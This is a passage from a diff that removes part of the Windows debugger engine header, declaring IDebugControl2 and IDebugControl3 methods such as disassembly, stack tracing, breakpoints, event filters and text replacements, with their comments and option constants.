- // The first and last line offsets are returned
- // specially and all lines offsets can be retrieved
- // through LineOffsets. LineOffsets will contain
- // offsets for each line where disassembly started.
- // When disassembly of a single instruction takes
- // multiple lines the initial offset will be followed
- // by DEBUG_INVALID_OFFSET.
- // Uses the line prefix.
- STDMETHOD(OutputDisassemblyLines)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG PreviousLines,
- __in ULONG TotalLines,
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_opt PULONG OffsetLine,
- __out_opt PULONG64 StartOffset,
- __out_opt PULONG64 EndOffset,
- __out_ecount_opt(TotalLines) PULONG64 LineOffsets
- ) PURE;
- // Returns the offset of the start of
- // the instruction thats the given
- // delta away from the instruction
- // at the initial offset.
- // This routine does not check for
- // validity of the instruction or
- // the memory containing it.
- STDMETHOD(GetNearInstruction)(
- THIS_
- __in ULONG64 Offset,
- __in LONG Delta,
- __out PULONG64 NearOffset
- ) PURE;
-
- // Offsets can be passed in as zero to use the current
- // thread state.
- STDMETHOD(GetStackTrace)(
- THIS_
- __in ULONG64 FrameOffset,
- __in ULONG64 StackOffset,
- __in ULONG64 InstructionOffset,
- __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __out_opt PULONG FramesFilled
- ) PURE;
- // Does a simple stack trace to determine
- // what the current return address is.
- STDMETHOD(GetReturnOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // If Frames is NULL OutputStackTrace will
- // use GetStackTrace to get FramesSize frames
- // and then output them. The current register
- // values for frame, stack and instruction offsets
- // are used.
- // Uses the line prefix.
- STDMETHOD(OutputStackTrace)(
- THIS_
- __in ULONG OutputControl,
- __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __in ULONG Flags
- ) PURE;
-
- // Returns information about the debuggee such
- // as user vs. kernel, dump vs. live, etc.
- STDMETHOD(GetDebuggeeType)(
- THIS_
- __out PULONG Class,
- __out PULONG Qualifier
- ) PURE;
- // Returns the type of physical processors in
- // the machine.
- // Returns one of the IMAGE_FILE_MACHINE values.
- STDMETHOD(GetActualProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- // Returns the type of processor used in the
- // current processor context.
- STDMETHOD(GetExecutingProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- // Query all the possible processor types that
- // may be encountered during this debug session.
- STDMETHOD(GetNumberPossibleExecutingProcessorTypes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetPossibleExecutingProcessorTypes)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Types
- ) PURE;
- // Get the number of actual processors in
- // the machine.
- STDMETHOD(GetNumberProcessors)(
- THIS_
- __out PULONG Number
- ) PURE;
- // PlatformId is one of the VER_PLATFORM values.
- // Major and minor are as given in the NT
- // kernel debugger protocol.
- // ServicePackString and ServicePackNumber indicate the
- // system service pack level. ServicePackNumber is not
- // available in some sessions where the service pack level
- // is only expressed as a string. The service pack information
- // will be empty if the system does not have a service pack
- // applied.
- // The build string is string information identifying the
- // particular build of the system. The build string is
- // empty if the system has no particular identifying
- // information.
- STDMETHOD(GetSystemVersion)(
- THIS_
- __out PULONG PlatformId,
- __out PULONG Major,
- __out PULONG Minor,
- __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString,
- __in ULONG ServicePackStringSize,
- __out_opt PULONG ServicePackStringUsed,
- __out PULONG ServicePackNumber,
- __out_ecount_opt(BuildStringSize) PSTR BuildString,
- __in ULONG BuildStringSize,
- __out_opt PULONG BuildStringUsed
- ) PURE;
- // Returns the page size for the currently executing
- // processor context. The page size may vary between
- // processor types.
- STDMETHOD(GetPageSize)(
- THIS_
- __out PULONG Size
- ) PURE;
- // Returns S_OK if the current processor context uses
- // 64-bit addresses, otherwise S_FALSE.
- STDMETHOD(IsPointer64Bit)(
- THIS
- ) PURE;
- // Reads the bugcheck data area and returns the
- // current contents. This method only works
- // in kernel debugging sessions.
- STDMETHOD(ReadBugCheckData)(
- THIS_
- __out PULONG Code,
- __out PULONG64 Arg1,
- __out PULONG64 Arg2,
- __out PULONG64 Arg3,
- __out PULONG64 Arg4
- ) PURE;
-
- // Query all the processor types supported by
- // the engine. This is a complete list and is
- // not related to the machine running the engine
- // or the debuggee.
- STDMETHOD(GetNumberSupportedProcessorTypes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetSupportedProcessorTypes)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Types
- ) PURE;
- // Returns a full, descriptive name and an
- // abbreviated name for a processor type.
- STDMETHOD(GetProcessorTypeNames)(
- THIS_
- __in ULONG Type,
- __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,
- __in ULONG FullNameBufferSize,
- __out_opt PULONG FullNameSize,
- __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,
- __in ULONG AbbrevNameBufferSize,
- __out_opt PULONG AbbrevNameSize
- ) PURE;
-
- // Gets and sets the type of processor to
- // use when doing things like setting
- // breakpoints, accessing registers,
- // getting stack traces and so on.
- STDMETHOD(GetEffectiveProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- STDMETHOD(SetEffectiveProcessorType)(
- THIS_
- __in ULONG Type
- ) PURE;
-
- // Returns information about whether and how
- // the debuggee is running. Status will
- // be GO if the debuggee is running and
- // BREAK if it isnt.
- // If no debuggee exists the status is
- // NO_DEBUGGEE.
- // This method is reentrant.
- STDMETHOD(GetExecutionStatus)(
- THIS_
- __out PULONG Status
- ) PURE;
- // Changes the execution status of the
- // engine from stopped to running.
- // Status must be one of the go or step
- // status values.
- STDMETHOD(SetExecutionStatus)(
- THIS_
- __in ULONG Status
- ) PURE;
-
- // Controls what code interpretation level the debugger
- // runs at. The debugger checks the code level when
- // deciding whether to step by a source line or
- // assembly instruction along with other related operations.
- STDMETHOD(GetCodeLevel)(
- THIS_
- __out PULONG Level
- ) PURE;
- STDMETHOD(SetCodeLevel)(
- THIS_
- __in ULONG Level
- ) PURE;
-
- // Gets and sets engine control flags.
- // These methods are reentrant.
- STDMETHOD(GetEngineOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Gets and sets control values for
- // handling system error events.
- // If the system error level is less
- // than or equal to the given levels
- // the error may be displayed and
- // the default break for the event
- // may be set.
- STDMETHOD(GetSystemErrorControl)(
- THIS_
- __out PULONG OutputLevel,
- __out PULONG BreakLevel
- ) PURE;
- STDMETHOD(SetSystemErrorControl)(
- THIS_
- __in ULONG OutputLevel,
- __in ULONG BreakLevel
- ) PURE;
-
- // The command processor supports simple
- // string replacement macros in Evaluate and
- // Execute. There are currently ten macro
- // slots available. Slots 0-9 map to
- // the command invocations $u0-$u9.
- STDMETHOD(GetTextMacro)(
- THIS_
- __in ULONG Slot,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MacroSize
- ) PURE;
- STDMETHOD(SetTextMacro)(
- THIS_
- __in ULONG Slot,
- __in PCSTR Macro
- ) PURE;
-
- // Controls the default number radix used
- // in expressions and commands.
- STDMETHOD(GetRadix)(
- THIS_
- __out PULONG Radix
- ) PURE;
- STDMETHOD(SetRadix)(
- THIS_
- __in ULONG Radix
- ) PURE;
-
- // Evaluates the given expression string and
- // returns the resulting value.
- // If DesiredType is DEBUG_VALUE_INVALID then
- // the natural type is used.
- // RemainderIndex, if provided, is set to the index
- // of the first character in the input string that was
- // not used when evaluating the expression.
- STDMETHOD(Evaluate)(
- THIS_
- __in PCSTR Expression,
- __in ULONG DesiredType,
- __out PDEBUG_VALUE Value,
- __out_opt PULONG RemainderIndex
- ) PURE;
- // Attempts to convert the input value to a value
- // of the requested type in the output value.
- // Conversions can fail if no conversion exists.
- // Successful conversions may be lossy.
- STDMETHOD(CoerceValue)(
- THIS_
- __in PDEBUG_VALUE In,
- __in ULONG OutType,
- __out PDEBUG_VALUE Out
- ) PURE;
- STDMETHOD(CoerceValues)(
- THIS_
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_VALUE In,
- __in_ecount(Count) PULONG OutTypes,
- __out_ecount(Count) PDEBUG_VALUE Out
- ) PURE;
-
- // Executes the given command string.
- // If the string has multiple commands
- // Execute will not return until all
- // of them have been executed. If this
- // requires waiting for the debuggee to
- // execute an internal wait will be done
- // so Execute can take an arbitrary amount
- // of time.
- STDMETHOD(Execute)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Command,
- __in ULONG Flags
- ) PURE;
- // Executes the given command file by
- // reading a line at a time and processing
- // it with Execute.
- STDMETHOD(ExecuteCommandFile)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR CommandFile,
- __in ULONG Flags
- ) PURE;
-
- // Breakpoint interfaces are described
- // elsewhere in this section.
- STDMETHOD(GetNumberBreakpoints)(
- THIS_
- __out PULONG Number
- ) PURE;
- // It is possible for this retrieval function to
- // fail even with an index within the number of
- // existing breakpoints if the breakpoint is
- // a private breakpoint.
- STDMETHOD(GetBreakpointByIndex)(
- THIS_
- __in ULONG Index,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- STDMETHOD(GetBreakpointById)(
- THIS_
- __in ULONG Id,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- // If Ids is non-NULL the Count breakpoints
- // referred to in the Ids array are returned,
- // otherwise breakpoints from index Start to
- // Start + Count 1 are returned.
- STDMETHOD(GetBreakpointParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Ids,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params
- ) PURE;
- // Breakpoints are created empty and disabled.
- // When their parameters have been set they
- // should be enabled by setting the ENABLE flag.
- // If DesiredId is DEBUG_ANY_ID then the
- // engine picks an unused ID. If DesiredId
- // is any other number the engine attempts
- // to use the given ID for the breakpoint.
- // If another breakpoint exists with that ID
- // the call will fail.
- STDMETHOD(AddBreakpoint)(
- THIS_
- __in ULONG Type,
- __in ULONG DesiredId,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- // Breakpoint interface is invalid after this call.
- STDMETHOD(RemoveBreakpoint)(
- THIS_
- __in PDEBUG_BREAKPOINT Bp
- ) PURE;
-
- // Control and use extension DLLs.
- STDMETHOD(AddExtension)(
- THIS_
- __in PCSTR Path,
- __in ULONG Flags,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(RemoveExtension)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
- STDMETHOD(GetExtensionByPath)(
- THIS_
- __in PCSTR Path,
- __out PULONG64 Handle
- ) PURE;
- // If Handle is zero the extension
- // chain is walked searching for the
- // function.
- STDMETHOD(CallExtension)(
- THIS_
- __in ULONG64 Handle,
- __in PCSTR Function,
- __in_opt PCSTR Arguments
- ) PURE;
- // GetExtensionFunction works like
- // GetProcAddress on extension DLLs
- // to allow raw function-call-level
- // interaction with extension DLLs.
- // Such functions do not need to
- // follow the standard extension prototype
- // if they are not going to be called
- // through the text extension interface.
- // This function cannot be called remotely.
- STDMETHOD(GetExtensionFunction)(
- THIS_
- __in ULONG64 Handle,
- __in PCSTR FuncName,
- __out FARPROC* Function
- ) PURE;
- // These methods return alternate
- // extension interfaces in order to allow
- // interface-style extension DLLs to mix in
- // older extension calls.
- // Structure sizes must be initialized before
- // the call.
- // These methods cannot be called remotely.
- STDMETHOD(GetWindbgExtensionApis32)(
- THIS_
- __inout PWINDBG_EXTENSION_APIS32 Api
- ) PURE;
- STDMETHOD(GetWindbgExtensionApis64)(
- THIS_
- __inout PWINDBG_EXTENSION_APIS64 Api
- ) PURE;
-
- // The engine provides a simple mechanism
- // to filter common events. Arbitrarily complicated
- // filtering can be done by registering event callbacks
- // but simple event filtering only requires
- // setting the options of one of the predefined
- // event filters.
- // Simple event filters are either for specific
- // events and therefore have an enumerant or
- // they are for an exception and are based on
- // the exceptions code. Exception filters
- // are further divided into exceptions specially
- // handled by the engine, which is a fixed set,
- // and arbitrary exceptions.
- // All three groups of filters are indexed together
- // with the specific filters first, then the specific
- // exception filters and finally the arbitrary
- // exception filters.
- // The first specific exception is the default
- // exception. If an exception event occurs for
- // an exception without settings the default
- // exception settings are used.
- STDMETHOD(GetNumberEventFilters)(
- THIS_
- __out PULONG SpecificEvents,
- __out PULONG SpecificExceptions,
- __out PULONG ArbitraryExceptions
- ) PURE;
- // Some filters have descriptive text associated with them.
- STDMETHOD(GetEventFilterText)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- // All filters support executing a command when the
- // event occurs.
- STDMETHOD(GetEventFilterCommand)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetEventFilterCommand)(
- THIS_
- __in ULONG Index,
- __in PCSTR Command
- ) PURE;
- STDMETHOD(GetSpecificFilterParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params
- ) PURE;
- STDMETHOD(SetSpecificFilterParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params
- ) PURE;
- // Some specific filters have arguments to further
- // qualify their operation.
- STDMETHOD(GetSpecificFilterArgument)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ArgumentSize
- ) PURE;
- STDMETHOD(SetSpecificFilterArgument)(
- THIS_
- __in ULONG Index,
- __in PCSTR Argument
- ) PURE;
- // If Codes is non-NULL Start is ignored.
- STDMETHOD(GetExceptionFilterParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Codes,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params
- ) PURE;
- // The codes in the parameter data control the application
- // of the parameter data. If a code is not already in
- // the set of filters it is added. If the ExecutionOption
- // for a code is REMOVE then the filter is removed.
- // Specific exception filters cannot be removed.
- STDMETHOD(SetExceptionFilterParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params
- ) PURE;
- // Exception filters support an additional command for
- // second-chance events.
- STDMETHOD(GetExceptionFilterSecondCommand)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetExceptionFilterSecondCommand)(
- THIS_
- __in ULONG Index,
- __in PCSTR Command
- ) PURE;
-
- // Yields processing to the engine until
- // an event occurs. This method may
- // only be called by the thread that started
- // the debug session.
- // When an event occurs the engine carries
- // out all event processing such as calling
- // callbacks.
- // If the callbacks indicate that execution should
- // break the wait will return, otherwise it
- // goes back to waiting for a new event.
- // If the timeout expires, S_FALSE is returned.
- // The timeout is not currently supported for
- // kernel debugging.
- STDMETHOD(WaitForEvent)(
- THIS_
- __in ULONG Flags,
- __in ULONG Timeout
- ) PURE;
-
- // Retrieves information about the last event that occurred.
- // EventType is one of the event callback mask bits.
- // ExtraInformation contains additional event-specific
- // information. Not all events have additional information.
- STDMETHOD(GetLastEventInformation)(
- THIS_
- __out PULONG Type,
- __out PULONG ProcessId,
- __out PULONG ThreadId,
- __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,
- __in ULONG ExtraInformationSize,
- __out_opt PULONG ExtraInformationUsed,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG DescriptionUsed
- ) PURE;
-
- // IDebugControl2.
-
- STDMETHOD(GetCurrentTimeDate)(
- THIS_
- __out PULONG TimeDate
- ) PURE;
- // Retrieves the number of seconds since the
- // machine started running.
- STDMETHOD(GetCurrentSystemUpTime)(
- THIS_
- __out PULONG UpTime
- ) PURE;
-
- // If the current session is a dump session,
- // retrieves any extended format information.
- STDMETHOD(GetDumpFormatFlags)(
- THIS_
- __out PULONG FormatFlags
- ) PURE;
-
- // The debugger has been enhanced to allow
- // arbitrary text replacements in addition
- // to the simple $u0-$u9 text macros.
- // Text replacement takes a given source
- // text in commands and converts it to the
- // given destination text. Replacements
- // are named by their source text so that
- // only one replacement for a source text
- // string can exist.
- STDMETHOD(GetNumberTextReplacements)(
- THIS_
- __out PULONG NumRepl
- ) PURE;
- // If SrcText is non-NULL the replacement
- // is looked up by source text, otherwise
- // Index is used to get the Nth replacement.
- STDMETHOD(GetTextReplacement)(
- THIS_
- __in_opt PCSTR SrcText,
- __in ULONG Index,
- __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer,
- __in ULONG SrcBufferSize,
- __out_opt PULONG SrcSize,
- __out_ecount_opt(DstBufferSize) PSTR DstBuffer,
- __in ULONG DstBufferSize,
- __out_opt PULONG DstSize
- ) PURE;
- // Setting the destination text to
- // NULL removes the alias.
- STDMETHOD(SetTextReplacement)(
- THIS_
- __in PCSTR SrcText,
- __in_opt PCSTR DstText
- ) PURE;
- STDMETHOD(RemoveTextReplacements)(
- THIS
- ) PURE;
- // Outputs the complete list of current
- // replacements.
- STDMETHOD(OutputTextReplacements)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-};
-
-//
-// Assembly/disassembly options.
-//
-// The specific effects of these flags varies depending
-// on the particular instruction set.
-//
-
-#define DEBUG_ASMOPT_DEFAULT 0x00000000
-// Display additional information in disassembly.
-#define DEBUG_ASMOPT_VERBOSE 0x00000001
-// Do not display raw code bytes in disassembly.
-#define DEBUG_ASMOPT_NO_CODE_BYTES 0x00000002
-// Do not take the output width into account when
-// formatting disassembly.
-#define DEBUG_ASMOPT_IGNORE_OUTPUT_WIDTH 0x00000004
-// Display source file line number before each line if available.
-#define DEBUG_ASMOPT_SOURCE_LINE_NUMBER 0x00000008
-
-//
-// Expression syntax options.
-//
-
-// MASM-style expression evaluation.
-#define DEBUG_EXPR_MASM 0x00000000
-// C++-style expression evaluation.
-#define DEBUG_EXPR_CPLUSPLUS 0x00000001
-
-//
-// Event index description information.
-//
-
-#define DEBUG_EINDEX_NAME 0x00000000
-
-//
-// SetNextEventIndex relation options.
-//
-
-// Value increases forward from the first index.
-#define DEBUG_EINDEX_FROM_START 0x00000000
-// Value increases backwards from the last index.
-#define DEBUG_EINDEX_FROM_END 0x00000001
-// Value is a signed delta from the current index.
-#define DEBUG_EINDEX_FROM_CURRENT 0x00000002
-
-#undef INTERFACE
-#define INTERFACE IDebugControl3
-DECLARE_INTERFACE_(IDebugControl3, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugControl.
-
- // Checks for a user interrupt, such a Ctrl-C
- // or stop button.
- // This method is reentrant.
- STDMETHOD(GetInterrupt)(
- THIS
- ) PURE;
- // Registers a user interrupt.
- // This method is reentrant.
- STDMETHOD(SetInterrupt)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Interrupting a user-mode process requires
- // access to some system resources that the
- // process may hold itself, preventing the
- // interrupt from occurring. The engine
- // will time-out pending interrupt requests
- // and simulate an interrupt if necessary.
- // These methods control the interrupt timeout.
- STDMETHOD(GetInterruptTimeout)(
- THIS_
- __out PULONG Seconds
- ) PURE;
- STDMETHOD(SetInterruptTimeout)(
- THIS_
- __in ULONG Seconds
- ) PURE;
-
- STDMETHOD(GetLogFile)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FileSize,
- __out PBOOL Append
- ) PURE;
- // Opens a log file which collects all
- // output. Output from every client except
- // those that explicitly disable logging
- // goes into the log.
- // Opening a log file closes any log file
- // already open.
- STDMETHOD(OpenLogFile)(
- THIS_
- __in PCSTR File,
- __in BOOL Append
- ) PURE;
- STDMETHOD(CloseLogFile)(
- THIS
- ) PURE;
- // Controls what output is logged.
- STDMETHOD(GetLogMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetLogMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
-
- // Input requests input from all clients.
- // The first input that is returned is used
- // to satisfy the call. Other returned
- // input is discarded.
- STDMETHOD(Input)(
- THIS_
- __out_ecount(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InputSize
- ) PURE;
- // This method is used by clients to return
- // input when it is available. It will
- // return S_OK if the input is used to
- // satisfy an Input call and S_FALSE if
- // the input is ignored.
- // This method is reentrant.
- STDMETHOD(ReturnInput)(
- THIS_
- __in PCSTR Buffer
- ) PURE;
-
- // Sends output through clients
- // output callbacks if the mask is allowed
- // by the current output control mask and
- // according to the output distribution
- // settings.
- STDMETHODV(Output)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputVaList)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Format,
- __in va_list Args
- ) PURE;
- // The following methods allow direct control
- // over the distribution of the given output
- // for situations where something other than
- // the default is desired. These methods require
- // extra work in the engine so they should
- // only be used when necessary.
- STDMETHODV(ControlledOutput)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(ControlledOutputVaList)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCSTR Format,
- __in va_list Args
- ) PURE;
-
- // Displays the standard command-line prompt
- // followed by the given output. If Format
- // is NULL no additional output is produced.
- // Output is produced under the
- // DEBUG_OUTPUT_PROMPT mask.
- // This method only outputs the prompt; it
- // does not get input.
- STDMETHODV(OutputPrompt)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputPromptVaList)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCSTR Format,
- __in va_list Args
- ) PURE;
- // Gets the text that would be displayed by OutputPrompt.
- STDMETHOD(GetPromptText)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- // Outputs information about the current
- // debuggee state such as a register
- // summary, disassembly at the current PC,
- // closest symbol and others.
- // Uses the line prefix.
- STDMETHOD(OutputCurrentState)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-
- // Outputs the debugger and extension version
- // information. This method is reentrant.
- // Uses the line prefix.
- STDMETHOD(OutputVersionInformation)(
- THIS_
- __in ULONG OutputControl
- ) PURE;
-
- // In user-mode debugging sessions the
- // engine will set an event when
- // exceptions are continued. This can
- // be used to synchronize other processes
- // with the debuggers handling of events.
- // For example, this is used to support
- // the e argument to ntsd.
- STDMETHOD(GetNotifyEventHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(SetNotifyEventHandle)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- STDMETHOD(Assemble)(
- THIS_
- __in ULONG64 Offset,
- __in PCSTR Instr,
- __out PULONG64 EndOffset
- ) PURE;
- STDMETHOD(Disassemble)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DisassemblySize,
- __out PULONG64 EndOffset
- ) PURE;
- // Returns the value of the effective address
- // computed for the last Disassemble, if there
- // was one.
- STDMETHOD(GetDisassembleEffectiveOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Uses the line prefix if necessary.
- STDMETHOD(OutputDisassembly)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out PULONG64 EndOffset
- ) PURE;
- // Produces multiple lines of disassembly output.
- // There will be PreviousLines of disassembly before
- // the given offset if a valid disassembly exists.
- // In all, there will be TotalLines of output produced.
- // The first and last line offsets are returned
- // specially and all lines offsets can be retrieved
- // through LineOffsets. LineOffsets will contain
- // offsets for each line where disassembly started.
- // When disassembly of a single instruction takes
- // multiple lines the initial offset will be followed
- // by DEBUG_INVALID_OFFSET.
- // Uses the line prefix.
- STDMETHOD(OutputDisassemblyLines)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG PreviousLines,
- __in ULONG TotalLines,
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_opt PULONG OffsetLine,
- __out_opt PULONG64 StartOffset,
- __out_opt PULONG64 EndOffset,
- __out_ecount_opt(TotalLines) PULONG64 LineOffsets
- ) PURE;
- // Returns the offset of the start of
- // the instruction thats the given
- // delta away from the instruction
- // at the initial offset.
- // This routine does not check for
- // validity of the instruction or
- // the memory containing it.
- STDMETHOD(GetNearInstruction)(
- THIS_
- __in ULONG64 Offset,
- __in LONG Delta,
- __out PULONG64 NearOffset
- ) PURE;
-
- // Offsets can be passed in as zero to use the current
- // thread state.
- STDMETHOD(GetStackTrace)(
- THIS_
- __in ULONG64 FrameOffset,
- __in ULONG64 StackOffset,
- __in ULONG64 InstructionOffset,
- __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __out_opt PULONG FramesFilled
- ) PURE;
- // Does a simple stack trace to determine
- // what the current return address is.
- STDMETHOD(GetReturnOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // If Frames is NULL OutputStackTrace will
- // use GetStackTrace to get FramesSize frames
- // and then output them. The current register
- // values for frame, stack and instruction offsets
- // are used.
- // Uses the line prefix.
- STDMETHOD(OutputStackTrace)(
- THIS_
- __in ULONG OutputControl,
- __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __in ULONG Flags
- ) PURE;
-
- // Returns information about the debuggee such
- // as user vs. kernel, dump vs. live, etc.
- STDMETHOD(GetDebuggeeType)(
- THIS_
- __out PULONG Class,
- __out PULONG Qualifier
- ) PURE;
- // Returns the type of physical processors in
- // the machine.
- // Returns one of the IMAGE_FILE_MACHINE values.
- STDMETHOD(GetActualProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- // Returns the type of processor used in the
- // current processor context.
- STDMETHOD(GetExecutingProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- // Query all the possible processor types that
- // may be encountered during this debug session.
- STDMETHOD(GetNumberPossibleExecutingProcessorTypes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetPossibleExecutingProcessorTypes)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Types
- ) PURE;
- // Get the number of actual processors in
- // the machine.
- STDMETHOD(GetNumberProcessors)(
- THIS_
- __out PULONG Number
- ) PURE;
- // PlatformId is one of the VER_PLATFORM values.
- // Major and minor are as given in the NT
- // kernel debugger protocol.
- // ServicePackString and ServicePackNumber indicate the
- // system service pack level. ServicePackNumber is not
- // available in some sessions where the service pack level
- // is only expressed as a string. The service pack information
- // will be empty if the system does not have a service pack
- // applied.
- // The build string is string information identifying the
- // particular build of the system. The build string is
- // empty if the system has no particular identifying
- // information.
- STDMETHOD(GetSystemVersion)(
- THIS_
- __out PULONG PlatformId,
- __out PULONG Major,
- __out PULONG Minor,
- __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString,
- __in ULONG ServicePackStringSize,
- __out_opt PULONG ServicePackStringUsed,
- __out PULONG ServicePackNumber,
- __out_ecount_opt(BuildStringSize) PSTR BuildString,
- __in ULONG BuildStringSize,
- __out_opt PULONG BuildStringUsed
- ) PURE;
- // Returns the page size for the currently executing
- // processor context. The page size may vary between
- // processor types.
- STDMETHOD(GetPageSize)(
- THIS_
- __out PULONG Size
- ) PURE;
- // Returns S_OK if the current processor context uses
- // 64-bit addresses, otherwise S_FALSE.
- STDMETHOD(IsPointer64Bit)(
- THIS
- ) PURE;
- // Reads the bugcheck data area and returns the
- // current contents. This method only works
- // in kernel debugging sessions.
- STDMETHOD(ReadBugCheckData)(
- THIS_
- __out PULONG Code,
- __out PULONG64 Arg1,
- __out PULONG64 Arg2,
- __out PULONG64 Arg3,
- __out PULONG64 Arg4
- ) PURE;
-
- // Query all the processor types supported by
- // the engine. This is a complete list and is
- // not related to the machine running the engine
- // or the debuggee.
- STDMETHOD(GetNumberSupportedProcessorTypes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetSupportedProcessorTypes)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Types
- ) PURE;
- // Returns a full, descriptive name and an
- // abbreviated name for a processor type.
- STDMETHOD(GetProcessorTypeNames)(
- THIS_
- __in ULONG Type,
- __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,
- __in ULONG FullNameBufferSize,
- __out_opt PULONG FullNameSize,
- __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,
- __in ULONG AbbrevNameBufferSize,
- __out_opt PULONG AbbrevNameSize
- ) PURE;
-
- // Gets and sets the type of processor to
- // use when doing things like setting
- // breakpoints, accessing registers,
- // getting stack traces and so on.
- STDMETHOD(GetEffectiveProcessorType)(
